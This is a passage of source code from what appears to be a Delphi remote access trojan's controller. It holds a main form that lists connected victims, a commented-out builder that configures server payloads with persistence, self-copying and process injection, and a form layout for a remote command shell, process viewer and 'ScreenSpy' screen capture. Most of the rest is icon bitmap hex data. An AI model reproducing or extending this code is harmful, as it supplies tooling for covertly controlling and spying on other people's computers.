end;
procedure TMainForm.ShowBalloonHint(id, addr, os: string);
var
sl: TStringList;
begin
if g_ShowBalloonHint then
begin
sl := TStringList.Create;
try
sl.Append(Format('%s connected from %s!', [id, addr]));
sl.Append(os);
CoolTrayIcon1.ShowBalloonHint('New Connection!', sl.Text, bitInfo, 10);
finally
FreeAndNil(sl);
end;
end;
end;
procedure TMainForm.SpeedButton_1Click(Sender: TObject);
var
guid: TGUID;
begin
CreateGUID(guid);
Edit_StartupName.Text := GUIDToString(guid);
end;
procedure TMainForm.SpeedButton_2Click(Sender: TObject);
begin
InfoBox('Only change these values if you know what they do!');
end;
procedure TMainForm.SpeedButton_3Click(Sender: TObject);
begin
InfoBox('The server will try to inject into this process 4 times');
end;
procedure TMainForm.SpeedButton_4Click(Sender: TObject);
//var
//builder: TBuilder;
begin
// if Edit_DnsList.Text = '' then
// begin
// ErrorBox('DNSList is empty');
// Exit;
// end;
//
// if Edit_ID.Text = '' then
// begin
// ErrorBox('Must Input ID');
// Exit;
// end;
//
// if Edit_Password.Text = '' then
// begin
// ErrorBox('Must Input password');
// Exit;
// end;
//
// if CheckBox_Socks5.Checked then
// begin
// if Edit_Socks5_Server.Text = '' then
// begin
// ErrorBox('Must Input socks DNS');
// Exit;
// end;
// end;
//
// if CheckBox_Startup.Checked then
// begin
// if Edit_StartupName.Text = '' then
// begin
// ErrorBox('Must Input startup name');
// Exit;
// end;
// end;
//
// if CheckBox_CopySelf.Checked then
// begin
// if Edit_FileName.Text = '' then
// begin
// ErrorBox('Must Input copy to filename');
// Exit;
// end;
// end;
//
// if Edit_Mutex.Text = '' then
// begin
// ErrorBox('Must Input mutex name');
// Exit;
// end;
//
// if CheckBox_Inject.Checked then
// begin
// if RadioButton_InjectCustom.Checked then
// begin
// if Edit_InjectProcess.Text = '' then
// begin
// ErrorBox('Must input custom process name');
// Exit;
// end;
// end;
// end;
//
//
// builder := TBuilder.Create;
// try
// builder.WriteDNSList(Edit_DnsList.Text);
// builder.WriteID(Edit_ID.Text);
// builder.WritePassword(Edit_Password.Text);
// if CheckBox_Socks5.Checked then
// begin
// builder.WriteSocks5(Edit_Socks5_Server.Text, Edit_Socks5_Username.Text, Edit_Socks5_Password.Text, SpinEdit_Socks5_Port.Value);
// end;
//
// if CheckBox_Startup.Checked then
// begin
// builder.WriteStartUp(RadioButton_ActiveX.Checked, Edit_StartupName.Text);
// end;
//
// if CheckBox_CopySelf.Checked then
// begin
// builder.WriteInstallation(RadioButton_SystemFolder.Checked, Edit_FileName.Text);
// end;
//
// builder.WriteMutex(Edit_Mutex.Text);
//
// if CheckBox_Inject.Checked then
// begin
// builder.WriteInject(RadioButton_InjectIE.Checked, Edit_InjectProcess.Text);
// end;
//
// builder.WriteConfigEnd;
//
// if RadioButton_Binary.Checked then
// begin
// dlgSave1.DefaultExt := '.bin';
// dlgSave1.Filter := 'binary file(*.bin)|*.bin;';
// if dlgSave1.Execute(Handle) then
// builder.SaveToBinary(dlgSave1.FileName);
// end
// else if RadioButton_CArray.Checked then
// begin
// dlgSave1.DefaultExt := '.c';
// dlgSave1.Filter := 'c file(*.c)|*.c;';
// if dlgSave1.Execute(Handle) then
// builder.SaveToCArray(dlgSave1.FileName);
// end
// else if RadioButton_DelphiArray.Checked then
// begin
// dlgSave1.DefaultExt := '.inc';
// dlgSave1.Filter := 'delphi file(*.inc)|*.inc;';
// if dlgSave1.Execute(Handle) then
// builder.SaveToCArray(dlgSave1.FileName);
// end
// else if RadioButton_PythonArray.Checked then
// begin
// dlgSave1.DefaultExt := '.py';
// dlgSave1.Filter := 'python file(*.py)|*.py;';
// if dlgSave1.Execute(Handle) then
// builder.SaveToCArray(dlgSave1.FileName);
// end;
// finally
// FreeAndNil(builder);
// end;
end;
procedure TMainForm.SpeedButton_AddClick(Sender: TObject);
begin
DnsForm.LoadFromString(Edit_DnsList.Text);
if DnsForm.ModalResult = mrOk then
begin
Edit_DnsList.Text := DnsForm.DNSList();
end;
end;
procedure TMainForm.SpeedButton_ResetStatsClick(Sender: TObject);
begin
ResetStats;
end;
procedure TMainForm.SpeedButton_SaveClick(Sender: TObject);
begin
if SpinEdit_Port.Value <> g_ListeningPort then
begin
g_ListeningPort := SpinEdit_Port.Value;
StartServer;
end;
SwitchBalloonHintState(CheckBox_ShowBallontip.Checked);
SwitchThumbnailState(CheckBox_Thumbnail.Checked);
UpdateStatusBarAndHint;
end;
procedure TMainForm.SpeedButton_VersionClick(Sender: TObject);
var
sl: TStringList;
begin
sl := TStringList.Create;
try
sl.Add('This Client version(0.0.1) is compatible with then');
sl.Add('following Server versions');
sl.Add('0.0.1');
InfoBox(sl.Text);
finally
FreeAndNil(sl);
end;
end;
procedure TMainForm.StartServer;
begin
try
if FTcpServer.Active then
FTcpServer.SafeStop;
FTcpServer.Port := g_ListeningPort;
FTcpServer.Open;
UpdateStatusBarAndHint;
except
on e: Exception do
begin
g_ListeningPort := 0;
UpdateStatusBarAndHint;
ErrorBox('Startup error');
TabSet_1.TabIndex := 2;
end;
end;
end;
procedure TMainForm.TabSet_1Change(Sender: TObject; NewTab: Integer; var AllowChange: Boolean);
begin
PageControl_Main.ActivePageIndex := NewTab;
FormResize(Self);
end;
procedure TMainForm.Timer_StatsTimer(Sender: TObject);
begin
UpdateStats;
end;
procedure TMainForm.SwitchBalloonHintState(b: Boolean);
begin
g_ShowBalloonHint := b;
CheckBox_ShowBallontip.Checked := b;
MenuItem_EnableBalloontip1.Checked := b;
end;
procedure TMainForm.SwitchThumbnailState(b: Boolean);
var
i: Integer;
begin
g_ShowThumbnail := b;
MenuItem_thumbnail.Checked := g_ShowThumbnail;
CheckBox_Thumbnail.Checked := g_ShowThumbnail;
if g_ShowThumbnail then
begin
for i := 0 to ListView_Connections.Items.Count - 1 do
begin
ListView_Connections.Items[i].ImageIndex := -1;
end;
ListView_Connections.SmallImages := ImageList_Thumbnail;
ListView_Connections.Columns.Items[0].Width := 200;
for i := 0 to ListView_Connections.Items.Count - 1 do
begin
TClientContext(ListView_Connections.Items[i].Data).SendCmd(CMD_THUMBANIL_START);
end;
end
else
begin
for i := 0 to ListView_Connections.Items.Count - 1 do
begin
ListView_Connections.Items[i].ImageIndex := -1;
TClientContext(ListView_Connections.Items[i].Data).Thumbnail_Index := -1;
TClientContext(ListView_Connections.Items[i].Data).SendCmd(CMD_THUMBANIL_END);
end;
ImageList_Thumbnail.Clear;
ListView_Connections.SmallImages := ImageList_Flags;
ListView_Connections.Columns.Items[0].Width := 100;
for i := 0 to ListView_Connections.Items.Count - 1 do
begin
ListView_Connections.Items[i].ImageIndex := TClientContext(ListView_Connections.Items[i].Data).Image_Index;
end;
end;
end;
procedure TMainForm.UpdateStats;
var
sent, recvd, sentu, recvu: Int64;
begin
sent := FTcpServer.DataMoniter.SentSize;
recvd := FTcpServer.DataMoniter.RecvSize;
sentu := g_Sent_UnCompressed;
recvu := g_Recv_UnCompressed;
Label_TotalConnections.Caption := Format('Total connections: %d', [g_TotalConnections]);
Label_TotalAttempts.Caption := Format('Total connection attempts: %d', [g_TotalAttempts]);
Label_Sent_Compressed.Caption := 'Compressed: ' + SizeToStr(sent);
Label_Sent_UnCompressed.Caption := 'Uncompressed: ' + SizeToStr(sentu);
if sentu <> 0 then
begin
Label_Sent_Ratio.Caption := 'Ratio: ' + IntToStr(sent * 100 div sentu) + ' %';
end
else
begin
Label_Sent_Ratio.Caption := 'Ratio: 0 %';
end;
Label_Recv_Compressed.Caption := 'Compressed: ' + SizeToStr(recvd);
Label_Recv_UnCpmoressed.Caption := 'Uncompressed: ' + SizeToStr(recvu);
if recvu <> 0 then
begin
Label_Recv_Ratio.Caption := 'Ratio: ' + IntToStr(recvd * 100 div recvu) + ' %';
end
else
begin
Label_Recv_Ratio.Caption := 'Ratio: 0 %';
end;
end;
procedure TMainForm.UpdateStatusBarAndHint;
var
port, connections: string;
begin
port := Format('Port: %d', [g_ListeningPort]);
connections := Format('Connections(s): %d', [ListView_Connections.Items.Count]);
StatusBar_1.Panels.Items[2].Text := port;
StatusBar_1.Panels.Items[3].Text := connections;
CoolTrayIcon1.Hint := port + #13#10 + connections;
end;
end.
================================================
FILE: Client/FormOperate.dfm
================================================
object OperateForm: TOperateForm
Left = 0
Top = 0
Caption = 'OperateForm'
ClientHeight = 640
ClientWidth = 913
Color = clScrollBar
Font.Charset = DEFAULT_CHARSET
Font.Color = clWindowText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
OldCreateOrder = False
Position = poMainFormCenter
OnClose = FormClose
OnCreate = FormCreate
OnDestroy = FormDestroy
PixelsPerInch = 96
TextHeight = 13
object PageControl_1: TPageControl
Left = 0
Top = 0
Width = 913
Height = 640
ActivePage = TabSheet_CmdShell
Align = alClient
Style = tsFlatButtons
TabOrder = 0
ExplicitWidth = 643
ExplicitHeight = 311
object TabSheet_CmdShell: TTabSheet
Caption = 'CMD Shell'
ExplicitWidth = 635
ExplicitHeight = 280
object Memo_CmdShell: TMemo
Left = 0
Top = 0
Width = 905
Height = 609
Align = alClient
Color = clScrollBar
Font.Charset = DEFAULT_CHARSET
Font.Color = clHighlightText
Font.Height = -11
Font.Name = 'Tahoma'
Font.Style = []
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
ParentFont = False
PopupMenu = PopupMenu_CmdShell
ScrollBars = ssVertical
TabOrder = 0
OnKeyPress = Memo_CmdShellKeyPress
ExplicitWidth = 635
ExplicitHeight = 280
end
end
object TabSheet_Processes: TTabSheet
Caption = 'Processes'
ImageIndex = 1
ExplicitWidth = 635
ExplicitHeight = 280
object ListView_Processes: TListView
Left = 0
Top = 0
Width = 905
Height = 609
Align = alClient
Columns = <
item
Caption = 'pid'
end
item
AutoSize = True
Caption = 'process name'
end>
GridLines = True
ReadOnly = True
RowSelect = True
PopupMenu = PopupMenu_Processes
TabOrder = 0
ViewStyle = vsReport
ExplicitLeft = 216
ExplicitTop = 88
ExplicitWidth = 250
ExplicitHeight = 150
end
end
object TabSheet_ScreenSpy: TTabSheet
Caption = 'ScreenSpy'
ImageIndex = 2
ExplicitWidth = 635
ExplicitHeight = 280
object ScrollBox_ScreenSpy: TScrollBox
Left = 0
Top = 37
Width = 905
Height = 572
Align = alClient
TabOrder = 0
ExplicitTop = 41
ExplicitWidth = 635
ExplicitHeight = 239
object PaintBox_ScreenSpy: TPaintBox
Left = 0
Top = 0
Width = 901
Height = 568
Align = alClient
OnPaint = PaintBox_ScreenSpyPaint
ExplicitLeft = 184
ExplicitTop = 96
ExplicitWidth = 105
ExplicitHeight = 105
end
end
object Panel_1: TPanel
Left = 0
Top = 0
Width = 905
Height = 37
Align = alTop
TabOrder = 1
object Label_1: TLabel
Left = 40
Top = 10
Width = 38
Height = 13
Caption = 'Quality:'
end
object Button_ScreenSpy_Start: TButton
Left = 368
Top = 6
Width = 75
Height = 25
Caption = 'Start'
TabOrder = 0
OnClick = Button_ScreenSpy_StartClick
end
object Button_ScreenSpy_End: TButton
Left = 449
Top = 6
Width = 75
Height = 25
Caption = 'End'
Enabled = False
TabOrder = 1
OnClick = Button_ScreenSpy_EndClick
end
object ComBox_ScreenSpy_Quality: TComboBox
Left = 112
Top = 8
Width = 145
Height = 21
Style = csDropDownList
ImeName = #20013#25991'('#31616#20307') - '#25628#29399#25340#38899#36755#20837#27861
ItemIndex = 0
TabOrder = 2
Text = '1bits'
Items.Strings = (
'1bits'
'4bits'
'8bits'
'16bits'
'32bits')
end
end
end
end
object ImageList_TreeViewMenu: TImageList
Left = 526
Top = 67
Bitmap = {
494C01014E0054000C0010001000FFFFFFFFFF10FFFFFFFFFFFFFFFF424D3600
0000000000003600000028000000400000004001000001002000000000000040
0100000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000008080000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000FFFF0000808000000000000000000000FFFF000000
0000000000000080800000808000000000000000000000000000000000000000
0000000000000000000000000000707272000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000FFFF000080800000808000FFFFFF000000
00000080800000FFFF0000000000000000000000000000000000000000000000
00000000000075797900646768005E6262000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000008080000000000000FFFF00FFFFFF0000FFFF00FFFF
FF0000FFFF000000000000808000000000000000000000000000000000000000
000075797900686C6C00717676005E6262000000000000000000000000000000
0000998FEF003C31ED005645E700000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000080800000FFFF00FFFFFF0000000000000000000000
0000FFFFFF0000FFFF0000808000000000007176760070727200686C6C00686C
6C00686C6C004F5050005E6262005E6262000000000000000000000000000000
0000000000003C2DE6003C31ED00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000008080000000000000000000FFFFFF000000
000000000000FFFFFF000000000000000000757979009899990075797900686C
6C00525252003E3E3E005D5E5E005E626200000000000000000000000000544C
ED000000000000000000443AED005645E7000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000FFFFFF00808080000000
000000000000808080000000000000FFFF000080800080808000FFFFFF000000
000000FFFF0000808000000000000000000080828200989999005E6262005E62
6200525252004848480065686800686C6C0000000000645BEA0000000000594F
E9004E3FE10000000000412FE1003A28E1000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000C0C0C0008080
800080808000FFFFFF0000000000008080000000000000000000FFFFFF000000
00000000000000FFFF00000000000000000080828200A8A8A800888A8A008082
82007C7C7C007176760080828200686C6C00000000006F67EC0000000000645B
EA005649E100000000004E3FE100412FE1000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000008080800000000000FFFF
FF0080808000FFFFFF00FFFFFF0000000000FFFFFF00C0C0C000808080000000
000000000000000000000000000000000000888A8A00C1C2C200BABABA00BABA
BA00989999008082820090909000717676000000000000000000000000006F67
EC0000000000000000005952ED006558E5000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000C0C0C000FFFFFF00FFFF
FF00000000000000000000000000FFFFFF00FFFFFF00FFFFFF00000000000000
000000000000000000000000000000000000888A8A0090909000909090009090
9000A8A8A800A8A8A800A0A1A100717676000000000000000000000000000000
0000000000006259E600605AED00000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000008080800000000000808080000000
000000000000FFFFFF0000000000000000008080800000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00009090900098999900ACAEAE007C7C7C000000000000000000000000000000
0000000000006C68EC008278E700000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000FFFFFF00FFFF
FF0000000000FFFFFF0000000000FFFFFF00C0C0C00000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000098999900888A8A00808282000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000080808000C0C0C0000000
0000FFFFFF00808080000000000000000000FFFFFF0000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000909090000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000808080000000
000000000000FFFFFF0000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000008080800000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000DAC0A600DAC0
A600DCBEA200D9C0A80000000000000000000000000000000000BF887400CB6F
3300D27D4000D27D40007E848700509BC8004786B900809CBB00000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000095C4E30055A7D900529BD10000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000D9C0A800FAEBD500FFE1
C300FCD9B800F6D8BA00DCBEA20000000000509AE2007084AB00C87D5800FFB9
6500FFB66000FEAF5D006EAEC70085E9F9004CDAF5003D90C8003C85CB000000
00000000000000000000000000000000000000000000946B6500946B6500946B
6500946B6500946B6500946B6500000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000006FBFE90086E9F9004DDAF5004196CE00000000000000
0000000000000000000000000000000000000000000000000000000000009191
91009191910074747400747474006B6B6B00A68C7200FAEEDD00FFF5E000FAE1
C700F7D5B600F8D1AA00F6D8BA00D9C0A8003584D20092ABCC00E7AE7200FFB7
5E00FEAF5D00FEA65A006EAEC700A0E6F80037D2F20046D6F6003D90C8000000
000000000000000000000000000000000000D7AFAF00E5E2E200E8E7E700E3DD
DD00E3DDDD00E3DDDD00D3C0C000946B65000000000000000000000000000000
00000000000000000000000000000000000000000000C38E6800C08B6600BE88
6400BA856000B9835F005CA3C800A1E6F80038D2F20047D6F6003F93C800776B
6F00A2715800A2705700000000000000000000000000A2A2A200A2A2A200A2A2
A200C5C5C400D9D4D300D3CECD00D3CECD00D5B69A00F0C9A500EFD2B400DAC0
A600DCBEA200EFD2B400F7D5B600DCBEA20000000000B5735A00FDD7B100FFD6
8300FFCA6400FFBF5D00B3A985005F9FC20098E2F60052DCF50045D9F6003E93
CE00468DD300468DD3000000000000000000DBAFAF00F5F5F500F5F5F500E5E2
E200E8E7E700E3CFCF00D8B6B600946B65000000000000000000000000000000
000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00B4DAF20060B1E40099E2F60053DCF50046D9F6004196
CE00478ED300488FD6007C6B6D0000000000B1B1B100B1B1B100D5D4D400E0E0
E000C5BEBD00BDB5B300BDB5B300B9B1AE00D5B69A00EEC9A500E9C4A000D8BE
A500D8BEA500F6E6D200FAE1C700DAC0A6000000000000000000C87D5800FFE8
BF00ACA98500A69D7C009F917400CEBEA70066A4CB005EAFD4005DD9F2004CDA
F5005ADDF70052DCF5003383CE000000000000000000CFAFAF00E7CFCF00E7CF
CF00E7CFCF00D8B6B600946B6500000000000000000000000000000000000000
000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00D3E9F5006CBBE70067C1E8005ED9F2004DDA
F5005ED9F20053DCF5003280C90000000000A2A2A200F0F0F000E0E0E000D5D4
D400BDB5B300BDB5B300BDB5B300B1B1B100C2A58B00F1D5BA00FBE4D200F1D5
BA00F7EDDB00FFFFFF00FFFFFF00DCBEA2000000000000000000000000006E7A
950072ACE70080B0E3007CB1E7006B97C30073542B00469DA10088DDF40069E0
F60072E2F7005DD9F20054D9F5003C85CB000000000000000000DEA5A500DBAF
AF00DEA5A500DEA5A50000000000000000000000000000000000000000000000
000000000000000000000000000000000000C8926C00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FCFBF700FFFFFF00FCFBF700FFFFFF0093C8E90089DDF4006AE0
F60073E2F7005ED9F20053DCF5004185CF00A8A8A800E9E9E900DDDDDD00D5D4
D400C0B9B700BDB5B300BDB5B300BDB5B300B9A99E00D9C0A800FAF4EF00F9D8
BA00FFFDEE00FAF8F500D9C0A8000000000000000000000000000000000071A3
D600ABD1F200ADD7FD00ABD1F20091BFE700538288004DAEC500A8EEF9007DE6
F80099E8F8007FD4F0007DE6F8003F97DA00D3C7AC00C6997000C6997000C699
7000C6997000C6997000C6997000946B65000000000000000000000000000000
00000000000054A85D0092FDB90000000000D49E7500FFFFFF00FFFFFF00FFFF
FF00FCFBF700FFFFFF00FCFBF700FFFFFF00FCFBF70077BDE600A9EEF9007EE6
F8009AE8F8007ED1F00080E2F6004A9EDB00A8A8A800E9E9E900DDDDDD00D9D4
D300C5BEBD00C0BAB800BEB8B6003BA1420037943700D0C2B700AB917900DAC0
A600D9C0A800D9C0A800000000000000000000000000000000006A8DB600A6BE
DB0095C4F200A0D0FB0095C4F200B5CFE4004079A60059B7AC005CC0E900A2F0
FB007FD4F0007DC7EC0050A1D8003D87D000D3C7AC00FFCC7200FFCC7200FFCC
7200FFCF7800FFCC7200FAC37000946B6500000000000000000054A85D00A4F7
C900000000004E8D42008BFFB100A2F3C500D49E7500FFFFFF00FFFFFF00FCFB
F700FFFFFF00FCFBF700FFFFFF00FCFBF700FCFBF700A9D1EA005EC1EA00A3F0
FB0080D4F0007EC7EC0055A7D90000000000C0BAB800E9E9E900E0E0E000DDDD
DD00C5BEBD00C0BAB800C5BEBD00A0C8A40050A95600D5D4D4007E7E7E000000
0000000000000000000000000000000000000000000000000000607DA8004F68
9900607DA8007BA5D6005472A400415C9100436697007BD09E0054B2B3006EC9
EC00C9F3FB005BBBE30058A3890087A68900D3C7AC00FFD88B00FFD88B00FFD8
8B00FFD88B00FFD88B00FFD6880054A85D008BFFB100000000006D9B4B008BFF
B1009BEEB700000000004BA053008BFFB100D49E7500FFFFFF00FFFFFF00FFFF
FF00FCFBF700FFFFFF00FCFBF700FAF6F100FCFBF700FAF6F1009FC9E7006FC9
EC00C9F3FB0063BFE9008C807C0000000000C0BAB800EDECEC00DDDDDD00D9D8
D800C5BEBD00C5BEBD00C5BEBD00BEB8B600C0B9B700D9D4D300848484000000
0000000000000000000000000000000000000000000000000000000000004366
9700415C9100415C9100415C9100405A8F006E8E9D00839892007B9389004F92
AF0058B3D7005FAEA50076AD7A0000000000D3C7AC00F9DAA200FFE29F00FFE2
9F00FFE29F00FFDF9900FFD88B00946B650054A85D0092FCB600000000004BA0
53008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FCFBF700FFFF
FF00FCFBF700FCFBF700FCFBF700FAF6F100FAF6F100FAF6F100F6EFEA008DC1
E1006CBBE700ADD6F100B7815E0000000000C0C0C000EDECEC00E0E0E000DDDD
DD00C5C5C4008E8E8E008E8E8E008E8E8E008E8E8E00D5D4D4008E8E8E000000
0000000000000000000000000000000000000000000000000000000000000000
00004B689900415C9100415C9100567786006E7A950072ACE70080B0E3007CB1
E7006B97C300669069000000000000000000D3C7AC00F9DAA200FFE7A900FFEB
B100FFEBB100FFEBB100F9DAA200946B6500439047008BFFB100000000004E8D
42008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FFFFFF00FCFB
F700FAF6F100FCFBF700F6EFEA00FCFBF700F6EFEA00F6EFEA00F6EFEA00F2E7
DE00F2E7DE00FFFFFF00BA85600000000000C5C5C400F0F0F000E0E0E000DDDD
DD00C5C5C400C8C2C100C6C1BF00C5BEBD00C5BEBD00D9D4D300919191000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000071A3D600ABD1F200ADD7FD00ABD1
F20091BFE7007C91A9000000000000000000D3C7AC00F9DAA200FFE7A900F7ED
C300FFFDD300FFEBB100F1D6AB00946B650054A85D0092FCB600000000004BA0
53008BFFB100000000004E8D42008BFFB100D8A27900FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFFFF00FFFF
FF00FFFFFF00FFFFFF00BA85600000000000C9C9C900EDECEC00EDECEC00DDDD
DD00C8C2C10098989800919191009191910091919100D9D4D300989898000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000007A9FC400B5CFE40095C4F200A0D0FB0095C4
F200B5CFE4004991C6000000000000000000D7CACA00D7CACA00D7CACA00D7CA
CA00DABBA500DABBA500DABBA50054A85D008BFFB100000000004E9A54008BFF
B100A2E9BA00000000004BA053008BFFB100D8A27900DCA67A00D8A27900DCA6
7A00D8A27900DCA67A00D8A27900DCA67A00D8A27900DCA67A00D8A27900DCA6
7A00D8A27900DCA67A00C38E68000000000000000000D1D1D100DDDDDD00E9E9
E900D3CECD00C8C2C100CFCAC900C8C2C100C8C2C100DDDDDD00989898000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000078A2C60033ADE50064B7E6008CC8F6003AAC
E6001CA6E5002F9CD60000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000054A85D00ACF3
CD0000000000508F44008BFFB100B0EDD000DDAD8600E8B99200E8B99200E8B9
9200E8B99200E8B99200E8B99200E8B99200E8B99200E8B99200E8B99200E8B9
9200E8B99200E8B99200C1917000000000000000000000000000DDDDDD00DDDD
DD00E0E0E000E1DEDD00E0E0E000E0E0E000D9D4D300F0F0F000A8A8A8000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000022A1DE001CA6E50018A4E40018A4
E4001CA6E50082AAC40000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000054A85D0092FDB9000000000000000000E8B99200D8A27900DCA6
7A00D8A27900D8A27900D8A27900D49E7500D49E7500D49E7500CC976F00C892
6C00C8926C00C79E80000000000000000000000000000000000000000000E0E0
E000C9C9C900C5C5C400C5BEBD00C0BAB800B5B5B500B9B1AE00C5C5C4000000
0000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000002F9CD6001CA6E50022A1
DE0076A5C3000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000C3917300A6613D000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000A6613D00A6613D000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000
0000000000006469DF005058DC005058DC004F56DA004850DA005058DC000000
0000000000000000000000000000000000000000000000000000000000000000
00000000000073C0730060B7600064B8640060B7600060B7600068BB68000000
000000000000000000000000000000000000CDA17D00BE865C00B97E5600A965
3E00A9653E000000000000000000000000006B69F10000000000000000000000
0000000000005553EC000000000000000000BE865C00BE865C00B97E5600A965
3E000000000000000000000000000000000090AAD40081A1D20081A1D20081A1
D20090AAD4000000000000000000000000000000000000000000000000000000
0000727AE6008896FA008394FF007E8FFC007E8FFC007C8CF7007C8CF7005058
DC00000000000000000000000000000000000000000000000000000000000000
00007EC47E0094CE940094CE940094CE940089C9890089C9890089C9890060B7
600000000000000000000000000000000000C58A5C00C5916800CDA28000C391
7300B67B5300AB6A4600895A7A006357DC006865FB005E5DF200000000000000
0000504DEF005351F8004C4AEC0000000000BE865C00C5916800CDA28000C391
7300B67B5300AB6A4600B1897700A9BEDF00BFD3ED00E2D7D200EAD9D000DEDB
DE00BFD3ED007FA3DB0000000000000000000000000000000000000000007D85
E70095A4FA005973FF00314EFF002F4EFF002B49FE002441FA00475FF9008593
F400686EE10000000000000000000000000000000000000000000000000085C8
8500A1D4A1007EC47E0060B7600060B7600060B7600056B256006BBC6B0094CE
940073C0730000000000000000000000000000000000C78E6300D1A58200CDA1
7D00CD9F7A00C7997400BF907100A37F8B006761EE006B69FD00605FF4005E5D
F2005F5DFB00514FF300000000000000000000000000C78E6300D1A58200CDA1
